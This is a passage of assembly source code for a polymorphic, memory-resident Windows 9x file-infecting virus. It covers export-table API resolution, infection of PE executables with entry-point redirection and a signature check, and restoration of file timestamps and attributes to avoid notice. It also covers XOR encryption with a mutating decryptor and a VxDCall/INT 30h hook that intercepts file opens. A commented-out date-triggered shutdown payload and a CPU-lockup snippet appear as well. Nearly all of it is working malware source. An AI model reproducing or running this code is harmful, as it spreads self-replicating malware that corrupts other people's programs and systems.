|
|
;Get Address of VxDCall API (Ordinal 1)
|
|
xor eax, eax
|
|
inc eax ;Ordinal Reqd = 1
|
|
sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array
|
|
jmp GetAddressFromIndex
|
|
|
|
GetProcAddressRequired:
|
|
;Get Address of Names
|
|
mov ecx, [dwVAIED]
|
|
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
|
|
add eax, esi ;VA of Address of Names
|
|
mov dword ptr [lpdwAddressOfNames], eax
|
|
|
|
;Get Address of Name ordinals
|
|
mov ecx, [dwVAIED]
|
|
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
|
|
add eax, esi ;VA of Add of Name Ordinals
|
|
mov dword ptr [lpwAddressOfNameOrdinals], eax
|
|
|
|
;Find the API index in the AddressOfNames array
|
|
push esi ;Save the base address of KERNEL32
|
|
mov eax, esi ;Also save in EAX
|
|
xor ebx, ebx
|
|
dec ebx ;Initialize Index to -1
|
|
mov edx, dword ptr [lpdwAddressOfNames]
|
|
|
|
@OFFSET esi, szGetProcAddress ;API to be found
|
|
mov ecx, esi ;Save address in ECX
|
|
|
|
CheckNextAPI:
|
|
inc ebx ;increment index
|
|
mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index
|
|
add edi, eax ;get the VA from the RVA
|
|
mov esi, ecx ;get address stored previously
|
|
|
|
CheckNextByte:
|
|
cmpsb ;Check Byte
|
|
jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One
|
|
cmp byte ptr [edi], 0 ;Have we reached the end-of-string
|
|
je FoundAPI ;Yes? We've found the API
|
|
jmp CheckNextByte ;No, Check the next byte
|
|
|
|
FoundAPI:
|
|
;EBX contains the index of the function into the array
|
|
pop esi ;Get the base address of KERNEL32
|
|
|
|
;Compute the Index
|
|
mov ecx, ebx
|
|
mov edx, dword ptr [lpwAddressOfNameOrdinals]
|
|
movzx eax, word ptr [edx + ecx*2] ;Index
|
|
|
|
;Get the Address (EAX = Index, ESI = Kernel32 Base)
|
|
GetAddressFromIndex:
|
|
mov ebx, [lpdwAddressOfFunctions]
|
|
mov eax, dword ptr [ebx + eax*4] ;RVA of the API
|
|
add eax, esi ;VA of the API
|
|
|
|
End_GetAddressOfKernelAPI:
|
|
ret
|
|
GetAddressOfKernelAPI ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | OpenAndMapFile | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Opens a file from disk, and maps it into memory. The function also
|
|
; saves the file modified time and file attributes before opening the
|
|
; file. These are later restored by UnmapAndCloseFile
|
|
;
|
|
; Arguments
|
|
; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
|
|
; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
|
|
;
|
|
; Return Value:
|
|
; -> EAX: Starting address of memory where the file has been mapped, or 0
|
|
; if an error occured
|
|
; -> ECX: Original File Size
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;_______________________________________________________________
|
|
OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
|
|
@DELTA esi
|
|
|
|
;Save File Attributes, and Clear all attributes
|
|
call esi + GetFileAttributesA, oamf_szFileName
|
|
mov [esi + dwFileAttributes], eax ;Save File Attributes
|
|
call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
|
|
test eax, eax ;File Attributes Set ?
|
|
je End_OpenAndMapFile ;No, Return 0
|
|
|
|
;Open the file in R/W mode
|
|
call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
|
|
FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
|
|
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
|
|
je Error_OpenAndMapFile_Create ;No
|
|
mov [esi + hHostFile], eax ;Yes, Save handle of host file
|
|
|
|
;Get and Store File Time
|
|
lea ebx, [esi + ftLastAccessTime]
|
|
lea ecx, [esi + ftLastWriteTime]
|
|
call esi + GetFileTime, eax, NULL, ebx, ecx
|
|
|
|
;Compute the new file size
|
|
call esi + GetFileSize, [esi + hHostFile], NULL
|
|
add eax, [oamf_dwAddBytes] ;Compute New File Size
|
|
|
|
;Map the file
|
|
call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
|
|
0, eax, NULL
|
|
test eax, eax ;File Mapping Created
|
|
jz Error_OpenAndMapFile_Mapping ;No
|
|
mov [esi + hMappedFile], eax ;Yes, Save Handle
|
|
|
|
;Map View of the File
|
|
call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
|
|
mov [esi + lpHostFile], eax ;Have to save Mapped Address
|
|
test eax, eax ;File Mapped Successfully ?
|
|
jnz End_OpenAndMapFile ;Yes
|
|
|
|
;Error Occured, Close Files, and Restore Attributes
|
|
call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping
|
|
|
|
Error_OpenAndMapFile_Mapping:
|
|
call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
|
|
|
|
Error_OpenAndMapFile_Create:
|
|
call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
|
|
xor eax, eax ;Error, Return 0
|
|
|
|
End_OpenAndMapFile:
|
|
ret
|
|
OpenAndMapFile ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | UnmapAndCloseFile | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Unmaps the open file and closes the handles associated with it. It
|
|
; also restores the original file attributes and file time.
|
|
;
|
|
; Arguments
|
|
; -> uacf_szFilename: Name of the file that is being unmapped. This is
|
|
; used only to restore the file attributes
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;_____________________
|
|
UnmapAndCloseFile PROC uacf_szFilename:DWORD
|
|
;Unmap File
|
|
@DELTA esi
|
|
call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
|
|
call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
|
|
|
|
;Restore File Time
|
|
lea eax, [esi + ftLastAccessTime]
|
|
lea ebx, [esi + ftLastWriteTime]
|
|
call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
|
|
|
|
;Close File
|
|
call esi + CloseHandle, [esi + hHostFile] ;Close the File
|
|
|
|
;Restore File Attributes
|
|
call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
|
|
|
|
ret
|
|
UnmapAndCloseFile ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | InfectFile | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Infects the host file with our virus
|
|
;
|
|
; Arguments
|
|
; -> DWORD if_szFileName: Address of the file to be infected
|
|
; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
|
|
; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
|
|
;
|
|
; Return Value:
|
|
; -> EAX: 1 if Infected, 0 on Error
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;__________________________________
|
|
InfectFile PROC if_szFileName:DWORD
|
|
LOCAL lpdwLastSection:DWORD, \
|
|
dwVirusBegin:DWORD, \
|
|
dwNewEntryRVA:DWORD, \
|
|
dwJumpBytes:DWORD, \
|
|
dwIOH:DWORD, \
|
|
dwIncFileSize:DWORD, \
|
|
dwIncSecSize:DWORD, \
|
|
dwDeltaOffset:DWORD
|
|
|
|
@DELTA esi
|
|
mov [dwDeltaOffset], esi ;Save Delta Offset
|
|
|
|
;Check if the file can be infected, or not
|
|
call CanFileBeInfected, if_szFileName
|
|
test eax, eax ;Can it be infected
|
|
jz End_InfectFile ;No
|
|
mov [dwIncFileSize], ebx ;Save Increase in File Size
|
|
mov [dwIncSecSize], ecx ;Save Increase in Section Size
|
|
|
|
;Map Host File into Memory
|
|
call OpenAndMapFile, if_szFileName, dwIncFileSize
|
|
test eax, eax ;File Opened and Mapped Successfully
|
|
jz End_InfectFile ;No, Return Code = 0
|
|
mov esi, [dwDeltaOffset]
|
|
mov [esi + lpHostFile], eax ;Save staring address of file
|
|
|
|
;Get File Headers
|
|
call GetFileHeaders, eax ;This should not fail, since its already...
|
|
mov [dwIOH], ebx ;...called once in CanFileBeInfected
|
|
mov [lpdwLastSection], ecx
|
|
|
|
;Calculate the Starting of Virus Code in File
|
|
mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
|
|
add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
|
|
mov [dwVirusBegin], eax ;RVA of New Entry Point in File
|
|
|
|
;Calculate RVA of New Entry Point
|
|
mov ebx, [lpdwLastSection]
|
|
sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
|
|
add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
|
|
mov [dwNewEntryRVA], eax
|
|
|
|
;Calculate Bytes of JMP Instruction
|
|
add eax, offset ReturnToHost - offset StartOfVirusCode
|
|
mov ebx, [dwIOH]
|
|
sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
|
|
add eax, 4
|
|
not eax
|
|
mov [dwJumpBytes], eax ;Save Bytes
|
|
|
|
;Append the Virus to the host
|
|
mov esi, offset StartOfVirusCode ;Copy Virus from Here...
|
|
add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection
|
|
mov edi, [dwVirusBegin] ;...to here
|
|
mov ebx, [dwDeltaOffset]
|
|
add edi, [ebx + lpHostFile] ;true location to copy to
|
|
mov ecx, VIRUS_SIZE
|
|
rep movsb
|
|
|
|
;Write New Jump Instruction in File
|
|
;Offset in File where operand to JMP instruction is to be put
|
|
mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
|
|
add ebx, [dwVirusBegin] ;True offset in file
|
|
mov esi, [dwDeltaOffset]
|
|
add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File
|
|
mov ecx, [dwJumpBytes] ;Get operand for jmp instruction
|
|
mov [ebx], ecx ;Put it in the file
|
|
|
|
;Update the Last Section Header
|
|
mov eax, [lpdwLastSection]
|
|
mov ebx, [dwIncSecSize]
|
|
mov ecx, [dwIncFileSize]
|
|
add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
|
|
add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
|
|
or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
|
|
|
|
;Fix VirtualSize (if Required) for files like TRACERT.EXE)
|
|
mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
|
|
cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong
|
|
jge VirtualSizeFine ;No, Fix Not Required
|
|
mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it
|
|
|
|
VirtualSizeFine:
|
|
|
|
;Update the PE Header (Image Size)
|
|
mov ebx, [dwIOH] ;Address of Image Optional Header
|
|
add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
|
|
|
|
;Update the PE Header (Entry RVA)
|
|
mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
|
|
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
|
|
|
|
;Update the Win32VersionValue field. This is used as a Virus Signature
|
|
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
|
|
|
|
;Encrypt the file, and Close it
|
|
mov ebx, [dwDeltaOffset]
|
|
mov edi, [ebx + lpHostFile] ;Staring address of Host File
|
|
add edi, [dwVirusBegin] ;Address of virus in file
|
|
call EncryptVirus
|
|
|
|
call UnmapAndCloseFile, if_szFileName
|
|
xor eax, eax
|
|
inc eax ;All OK, Return Code 1
|
|
|
|
End_InfectFile:
|
|
ret
|
|
InfectFile ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | EncryptVirus | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
|
|
; making the virus Encrypted & Polymorphic
|
|
;
|
|
; Arguments
|
|
; -> EDI: Starting address of Virus in Memory Mapped File
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> All except EDI
|
|
;________________
|
|
EncryptVirus PROC
|
|
push edi ;Save starting address of virus code
|
|
|
|
;Get Encryption Key, to be used for encrypting/decrypting
|
|
;@DELTA esi
|
|
;call esi + GetTickCount ;Get random number in EAX (AL)
|
|
|
|
in al, 40h ;Get random encryption key
|
|
IF DEBUG
|
|
xor al, al ;Don't encrypt in Debug Mode
|
|
ENDIF
|
|
|
|
mov ecx, ENCRYPTED_SIZE
|
|
add edi, LOADER_SIZE ;Don't enrypt the loader !!
|
|
EncryptByte:
|
|
xor byte ptr [edi], al ;al = Encryption Key
|
|
inc edi
|
|
loop EncryptByte
|
|
|
|
pop edi ;restore starting address of virus code
|
|
|
|
;Update the Encryption Key in the decryptor
|
|
mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al
|
|
|
|
;Mutate the Decryptor
|
|
call MutateDecryptor
|
|
|
|
ret
|
|
EncryptVirus ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | StringLength | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Returns the length of the string
|
|
;
|
|
; Arguments
|
|
; -> DWORD sl_lpszString: Address of the string
|
|
;
|
|
; Return Value:
|
|
; -> EAX: Length of the string
|
|
;
|
|
; Registers Destroyed
|
|
; -> EAX, ECX, EDI
|
|
;____________________________________
|
|
StringLength PROC sl_lpszString:DWORD
|
|
mov edi, sl_lpszString ;string whose length is required
|
|
xor ecx, ecx
|
|
dec ecx ;ecx = -1, search till infinity
|
|
xor eax, eax ;search for NULL character
|
|
repne scasb ;Find the terminating NULL
|
|
not ecx
|
|
dec ecx ;length of string
|
|
mov eax, ecx ;return length of string
|
|
ret
|
|
StringLength ENDP
|
|
;****************************************************************************
|
|
; TimerProc
|
|
;****************************************************************************
|
|
; Description
|
|
; -> This function is called when the Time-out value for the Timer Expires.
|
|
;
|
|
; Arguments
|
|
; -> tp_hwnd: Handle of the window
|
|
; tp_uMsg: WM_TIMER
|
|
; tp_idEvent: ID of the timer
|
|
; tp_dwTimer: Value of GetTickCount()
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;_____________________________________________________________________________
|
|
;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
|
|
; LOCAL dwDeltaOffset:DWORD, \
|
|
; dwFileNumber:DWORD, \
|
|
; stTime:SYSTEMTIME
|
|
; pushad ;must save, since this is a CALLBACK fn
|
|
; @DELTA esi
|
|
; mov [dwDeltaOffset], esi
|
|
;
|
|
;Check if Date is 8th December
|
|
; lea eax, stTime
|
|
; call esi + GetLocalTime, eax
|
|
; cmp stTime.ST_wMonth, 12 ;is Month = December
|
|
; jne Not_8_December ;No
|
|
; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th
|
|
; jne Not_8_December ;No
|
|
;
|
|
;Deliever Payload since date is 8th December
|
|
; call PayLoad
|
|
;
|
|
;Not_8_December:
|
|
;
|
|
;Lock System if Windows has been running for a long time
|
|
; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours
|
|
; ;jle NoLockWindows ;No
|
|
; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System
|
|
; ;DB 0Fh
|
|
; ;DB 0C7h
|
|
; ;DB 0C8h
|
|
;
|
|
;NoLockWindows:
|
|
;
|
|
;
|
|
;End_TimerElapsed:
|
|
; popad ;restore state
|
|
; ret
|
|
;TimerProc ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | CanFileBeInfected | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function checks if a file can be infected or not. It checks the
|
|
; following:
|
|
; 1. File must be an EXE
|
|
; 2. File must be a PE
|
|
; 3. It must not be a DLL
|
|
; 4. File must not be infected by our virus
|
|
; 5. It must not be a Winzip Self-Extractor File
|
|
;
|
|
; If all the above conditions are met, this function returns the size, in
|
|
; bytes, by which the file and section must be increased when the file is
|
|
; infected.
|
|
;
|
|
; Arguments
|
|
; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
|
|
;
|
|
; Return Value:
|
|
; -> EAX: 1 if the file can be infected, 0 Otherwise
|
|
; -> EBX: Bytes by which the file size must be increased if it is infected
|
|
; -> ECX: Bytes by which the last section size must be increased if it is infected
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;___________________________________________
|
|
CanFileBeInfected PROC cfbe_szFileName:DWORD
|
|
;Map File, without increasing the File Size
|
|
call OpenAndMapFile, cfbe_szFileName, 0
|
|
test eax, eax ;File Opened & Mapped Successfully
|
|
jz End_CanFileBeInfected ;No, Return with Error Code = 0
|
|
|
|
;Get File Headers
|
|
call GetFileHeaders, eax
|
|
test eax, eax ;Successfully retreived file headers
|
|
je End_CanFileBeInfected ;No, probably not a PE file
|
|
|
|
;Check if file is infected. We use the Win32VersionValue for storing our signature
|
|
cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
|
|
jz Error_CanFileBeInfected ;File is already infected
|
|
|
|
;Check if file is a DLL
|
|
test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
|
|
jnz Error_CanFileBeInfected ;Yes
|
|
|
|
;Check if last section is sharable
|
|
;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
|
|
;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
|
|
;jnz Error_CanFileBeInfected ;Yes, don't infect
|
|
|
|
;Don't infect Winzip Self-Extractor Files.
|
|
;The last section of this file has the name _winzip_. Note that Winzip
|
|
;Self-Extrator Personal Edition Files will still be infected, since they
|
|
;don't have this section
|
|
cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ?
|
|
je Error_CanFileBeInfected ;Yes, dont infect
|
|
|
|
;OK, File can be infected, Great !!, ;-)
|
|
mov eax, ebx ;Image Optional Header
|
|
mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
|
|
mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
|
|
|
|
;Calculate Increase in Section size
|
|
;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
|
|
mov eax, VIRUS_SIZE - 1
|
|
add eax, ecx ;Add Section Alignment
|
|
xor edx, edx ;We need to divide only EAX
|
|
div ecx ;Divide by SECTION_ALIGN
|
|
mul ecx ;Multiply by SECTION_ALIGN
|
|
push eax ;Save Increase in Section Size
|
|
|
|
;Calculate Increase in File Size
|
|
;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
|
|
;mov eax, VIRUS_SIZE;**NEW LINE
|
|
;dec eax ;INC_SEC_SIZE - 1
|
|
mov eax, VIRUS_SIZE - 1
|
|
add eax, ebx ;Add File Alignment, FILE_ALIGN
|
|
div ebx ;Divide by FILE_ALIGN
|
|
mul ebx ;Multiply by FILE_ALIGN
|
|
push eax ;Save Increase in File Size
|
|
|
|
;Close the file, and return relevant values
|
|
call UnmapAndCloseFile, cfbe_szFileName
|
|
pop ebx ;Get Increase in File Size
|
|
pop ecx ;Get Increase in Section Size
|
|
xor eax, eax
|
|
inc eax ;Return Code 1
|
|
jmp End_CanFileBeInfected
|
|
|
|
Error_CanFileBeInfected:
|
|
call UnmapAndCloseFile, cfbe_szFileName
|
|
xor eax, eax ;Return Code 0
|
|
|
|
End_CanFileBeInfected:
|
|
ret
|
|
CanFileBeInfected ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | PayLoad | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function is called on the 8th of December. It delievers the Payload
|
|
; of the virus.
|
|
;
|
|
; Arguments
|
|
; -> None.
|
|
;
|
|
; Return Value:
|
|
; -> None.
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;___________
|
|
;PayLoad PROC
|
|
; @DELTA esi
|
|
; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
|
|
; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
|
|
; ret
|
|
;PayLoad ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | CanMachineBeInfected | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function is called to check if the virus should infect this machine
|
|
; or not. This is used, so that the virus doesn't infect My Machine !!
|
|
;
|
|
; Arguments
|
|
; -> None.
|
|
;
|
|
; Return Value:
|
|
; -> EAX: 0 -> machine should not be infected, else it can be infected
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;________________________
|
|
CanMachineBeInfected PROC
|
|
@DELTA esi
|
|
|
|
;Check if the "No Infect" file exists on the current machine
|
|
mov eax, esi
|
|
add eax, offset szNoInfectFileName
|
|
call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
|
|
OPEN_EXISTING, NULL, NULL
|
|
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
|
|
je End_CanMachineBeInfected ;No, so machine can be infected
|
|
|
|
;Close the file, and return 0, since its probably my machine
|
|
call esi + CloseHandle, eax
|
|
xor eax, eax ;return 0, so that machine is not infected
|
|
|
|
End_CanMachineBeInfected:
|
|
ret
|
|
CanMachineBeInfected ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | RelocateVirus | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function allocates memory in the Shared area and copies the Virus
|
|
; to that area.
|
|
;
|
|
; Arguments
|
|
; -> None.
|
|
;
|
|
; Return Value:
|
|
; -> EAX: Base address of Memory where the Virus was copied, or NULL if an
|
|
; error occured.
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;_________________
|
|
RelocateVirus PROC
|
|
LOCAL dwDeltaOffset:DWORD, \
|
|
dwMemoryRegion:DWORD
|
|
|
|
@DELTA esi
|
|
mov [dwDeltaOffset], esi
|
|
|
|
;Reserve Shared Memory
|
|
@DELTA esi
|
|
call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
|
|
PC_WRITEABLE OR PC_USER
|
|
cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully?
|
|
je Error_RelocateVirus ;No
|
|
cmp eax, SHARED_MEMORY ;Shared memory Allocated?
|
|
jb Error_RelocateVirus ;No
|
|
|
|
;Save Address of Region
|
|
mov [dwMemoryRegion], eax
|
|
|
|
;Commit Shared Memory
|
|
shr eax, 0Ch ;Page Number
|
|
mov esi, [dwDeltaOffset]
|
|
call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
|
|
PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
|
|
or eax,eax
|
|
je Error_RelocateVirus
|
|
|
|
;Copy Virus to Newly Allocate Memory
|
|
mov esi, dwDeltaOffset
|
|
add esi, offset StartOfVirusCode ;Start Copying From Here
|
|
mov edi, [dwMemoryRegion] ;Copy Here
|
|
mov ecx, VIRUS_SIZE ;Size to Copy
|
|
rep movsb
|
|
|
|
mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated
|
|
jmp End_RelocateVirus
|
|
|
|
Error_RelocateVirus:
|
|
xor eax, eax ;Return 0, since an error occured
|
|
|
|
End_RelocateVirus:
|
|
ret
|
|
RelocateVirus ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | InstallHookProcedure | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function installs a hook procedure to monitor VxDCalls
|
|
;
|
|
; Arguments
|
|
; -> None.
|
|
;
|
|
; Return Value:
|
|
; -> None.
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;________________________
|
|
InstallHookProcedure PROC
|
|
LOCAL dwDeltaOffset:DWORD
|
|
|
|
@DELTA esi
|
|
mov [dwDeltaOffset], esi
|
|
|
|
;Modify the JMP instruction, so that it points to the address of OldInt30
|
|
mov eax, esi
|
|
add eax, offset OldInt30Address ;Bytes to modify
|
|
mov ebx, esi
|
|
add ebx, offset OldInt30 ;Address of OldInt30
|
|
mov [eax], ebx ;Modify JMP instruction
|
|
|
|
;The disassembly of the VxDCall function looks like this:
|
|
;
|
|
;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
|
|
;8F 04 24 POP DWORD PTR [ESP]
|
|
;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
|
|
;
|
|
;The last instuction points to an INT 30h instruction that is used by
|
|
;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the
|
|
;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
|
|
;code. Before that, we should save the current address, so that we can
|
|
;call the old INT 30h
|
|
|
|
;Trace through VxDCall, until we come to the XXXXXXXX bytes
|
|
add esi, offset VxDCall
|
|
mov esi, [esi] ;First byte of VxDCall function
|
|
mov ecx, 50 ;Scan upto 50 bytes
|
|
TraceVxDCall:
|
|
lodsb ;Get current byte
|
|
cmp al, 2Eh ;First byte of CALL instruction?
|
|
jne TraceVxDCall_NextByte ;No, check next byte
|
|
cmp word ptr [esi], 1DFFh ;Next two bytes of instruction?
|
|
je TraceVxDCall_AddressFound ;Yes
|
|
TraceVxDCall_NextByte:
|
|
loop TraceVxDCall ;Continue Checking...
|
|
|
|
TraceVxDCall_AddressFound:
|
|
;Save Current INT 30h Address
|
|
cli ;Cannot afford to be interrupted
|
|
lodsw ;Skip over FF and 1D opcodes of CALL
|
|
lodsd ;Pointer to INT 30h instruction, XXXXXXXX
|
|
mov esi, eax ;Copy Bytes From Here
|
|
mov edi, [dwDeltaOffset]
|
|
add edi, offset OldInt30 ;To Here
|
|
mov ecx, 6 ;Save 6 bytes, FWORD
|
|
rep movsb
|
|
|
|
;Install New INT 30h Handler
|
|
mov edi, eax ;Pointer to INT 30h instruction
|
|
mov eax, [dwDeltaOffset]
|
|
add eax, offset VxDInt30Handler ;Copy This Address
|
|
stosd ;Save 4 bytes ...
|
|
mov ax, cs
|
|
stosw ;and 2 bytes (since FWORD instruction)
|
|
sti ;Handler installed, enable interrupts
|
|
ret
|
|
InstallHookProcedure ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | VxDInt30Handler | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This is the hook procedure that monitors VxDCalls (INT 30h)
|
|
;
|
|
; Arguments
|
|
; -> None.
|
|
;
|
|
; Return Value:
|
|
; -> None.
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;___________________
|
|
VxDInt30Handler PROC
|
|
pushad ;Save all, since this is an interrupt handler
|
|
|
|
;Make sure that we don't process our own calls
|
|
@OFFSET ebp, VxDCall_Busy
|
|
cmp byte ptr [ebp], TRUE ;Is Virus busy
|
|
je Exit_VxDInt30Handler ;Yes, prevent re-entrancy
|
|
|
|
;Process only INT 21h Services
|
|
cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h?
|
|
jne Exit_VxDInt30Handler
|
|
|
|
mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service
|
|
cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency?
|
|
je Residency_Check ;Yes
|
|
cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended
|
|
je Extended_File_Open
|
|
|
|
jmp Exit_VxDInt30Handler ;None, go to default handler
|
|
|
|
Residency_Check:
|
|
;Virus Residency Check
|
|
popad ;Restore stack and other regs
|
|
mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident
|
|
